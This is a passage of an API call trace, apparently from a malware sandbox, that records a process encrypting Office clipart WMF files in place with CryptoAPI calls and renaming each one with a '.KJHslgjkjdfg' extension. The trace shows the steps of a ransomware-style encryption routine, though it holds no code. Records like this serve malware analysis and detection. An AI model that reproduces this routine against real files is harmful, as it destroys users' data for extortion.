hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.797] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.798] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.798] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.798] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.798] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.798] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.798] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.798] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.798] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3dd8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3dd8, lpOverlapped=0x0) returned 1 [0192.799] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3de0, dwBufLen=0x3de0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3de0) returned 1 [0192.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.800] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3de0, lpOverlapped=0x0) returned 1 [0192.800] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3eb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.800] SetEndOfFile (hFile=0x130) returned 1 [0192.803] GetProcessHeap () returned 0x990000 [0192.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.803] GetProcessHeap () returned 0x990000 [0192.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.kjhslgjkjdfg")) returned 1 [0192.804] CloseHandle (hObject=0x130) returned 1 [0192.804] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1 [0192.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.805] GetProcessHeap () returned 0x990000 [0192.805] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.805] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.805] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.808] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.808] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.808] GetProcessHeap () returned 0x990000 [0192.808] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.808] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.808] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.808] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.808] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.808] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.808] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.809] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.809] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.809] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.809] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3a14, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3a14, lpOverlapped=0x0) returned 1 [0192.810] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a20) returned 1 [0192.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.810] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3a20, lpOverlapped=0x0) returned 1 [0192.810] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.810] SetEndOfFile (hFile=0x130) returned 1 [0192.813] GetProcessHeap () returned 0x990000 [0192.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.813] GetProcessHeap () returned 0x990000 [0192.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.kjhslgjkjdfg")) returned 1 [0192.816] CloseHandle (hObject=0x130) returned 1 [0192.816] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1 [0192.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.817] GetProcessHeap () returned 0x990000 [0192.817] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.817] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.817] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.818] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.818] GetProcessHeap () returned 0x990000 [0192.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.818] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.818] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.818] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.820] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.821] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.821] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.821] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.821] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.821] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.821] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1580, lpOverlapped=0x0) returned 1 [0192.822] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1580, dwBufLen=0x1580 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1580) returned 1 [0192.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.822] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1580, lpOverlapped=0x0) returned 1 [0192.822] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.823] SetEndOfFile (hFile=0x130) returned 1 [0192.825] GetProcessHeap () returned 0x990000 [0192.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.825] GetProcessHeap () returned 0x990000 [0192.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.kjhslgjkjdfg")) returned 1 [0192.837] CloseHandle (hObject=0x130) returned 1 [0192.837] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1 [0192.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.839] GetProcessHeap () returned 0x990000 [0192.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.839] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.839] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.839] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.839] GetProcessHeap () returned 0x990000 [0192.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.839] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.839] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.839] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.842] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.842] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.842] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.842] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.842] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x18b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x18b0, lpOverlapped=0x0) returned 1 [0192.843] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18b0, dwBufLen=0x18b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18b0) returned 1 [0192.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.844] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x18b0, lpOverlapped=0x0) returned 1 [0192.844] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.844] SetEndOfFile (hFile=0x130) returned 1 [0192.847] GetProcessHeap () returned 0x990000 [0192.847] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.847] GetProcessHeap () returned 0x990000 [0192.847] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.kjhslgjkjdfg")) returned 1 [0192.848] CloseHandle (hObject=0x130) returned 1 [0192.848] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1 [0192.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.849] GetProcessHeap () returned 0x990000 [0192.849] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.849] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.849] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.849] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.849] GetProcessHeap () returned 0x990000 [0192.849] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.849] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.849] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.849] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.854] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.854] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.854] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.855] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.855] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.855] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.855] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x10e0, lpOverlapped=0x0) returned 1 